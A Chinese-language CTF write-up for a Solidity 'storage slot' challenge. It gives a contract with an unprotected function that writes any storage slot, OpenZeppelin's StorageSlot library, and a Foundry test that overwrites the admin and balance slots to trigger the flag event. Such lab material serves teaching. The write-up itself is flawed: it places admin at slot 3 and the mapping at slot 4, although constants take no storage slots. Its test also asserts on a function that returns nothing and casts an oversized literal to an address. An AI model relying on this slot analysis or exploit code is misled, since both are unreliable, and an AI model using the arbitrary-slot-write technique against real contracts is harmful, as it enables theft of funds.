CTF-Storeage

题目代码又俩个:

pragma solidity ^0.8.0;

import "./StorageSlot.sol";

contract Storage1 {
uint256 public constant VERSION = 1;
address public aaaaa;
address public admin;
bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE");

mapping(address => uint256) public gasDeposits;

event SendFlag();
event SetLogicContract(bytes32 key, address oldAddress, address newAddress);
event DepositedGas(address account, uint256 amount);
event WithdrewGas(address account, uint256 amount);

error ZeroValue();
error ZeroAmount();
error NoAccess(bytes32 roleid, address account);


constructor() {
admin = address(0);
}

modifier onlyAdmin() {
require(admin == msg.sender);
_;
}

// 设置任意slot内容
function setLogicContract(bytes32 key, address contractAddress) external {
StorageSlot.AddressSlot storage slot = StorageSlot.getAddressSlot(key);
emit SetLogicContract(key, slot.value, contractAddress);
slot.value = contractAddress;
}

// 存款:给某个账户存款
function depositGasFor(address account) external payable {
depositGas(account, msg.value);
}
function depositGas(address account, uint256 amount) internal {
if (amount == 0) revert ZeroValue();
gasDeposits[account] = gasDeposits[account] + amount;
emit DepositedGas(account, amount);
}

// 取款
function withdrawGas(uint256 amount) external {
if (amount == 0) revert ZeroAmount();

uint256 withdrawAmount = amount > gasDeposits[msg.sender] ? gasDeposits[msg.sender]: amount;

if (withdrawAmount == 0) return;

gasDeposits[msg.sender] = gasDeposits[msg.sender] - withdrawAmount;
payable(msg.sender).transfer(withdrawAmount);

emit WithdrewGas(msg.sender, withdrawAmount);
}

function isComplete() public {
require(admin == msg.sender);
require(gasDeposits[msg.sender] >= 9999999999999999999999999999999999);
emit SendFlag();
}

receive() external payable {
depositGas(msg.sender, msg.value);
}
}
  // SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (utils/StorageSlot.sol)

pragma solidity ^0.8.0;

/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}

struct BooleanSlot {
bool value;
}

struct Bytes32Slot {
bytes32 value;
}

struct Uint256Slot {
uint256 value;
}

/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}

/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}

/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}

/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
}

这个题也是属于签到题了。就是考了一个slot的概念吧,一个slot储存是占32字节的,对于mapping映射来说,那么就是使用哈希函数来计算的,比如:
对于一个mapping映射,(address->uint256)此时它的slot 表面是4,实际它是通过slot=keccak(encodePacked(address,uint256(4)));来计算的
这也就是我们这个的余额计算的步骤

通过分析可以知道;
admid是占slot[3];
balance是占slot4

那么我们就可以直接调用setLogicContract函数去更改对应的储槽位就可以了,
测试函数

//SPDX-License-Identifier:MIT
pragma solidity ^0.8.16;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import "src/StorageSlot.sol";
import "src/Storage1.sol";

contract hack is Test{
Storage1 storage1;

function setUp() public {
storage1 = new Storage1();
}

function test_Storage1() public {
storage1.setLogicContract(bytes32(uint256(3)),address(this));
bytes32 slot = keccak256(abi.encodePacked(address(this), uint256(4)));
storage1.setLogicContract(slot,address(9999999999999999999999999999999999));
assertTrue(storage1.isComplete(), "The storage is not complete");



}
}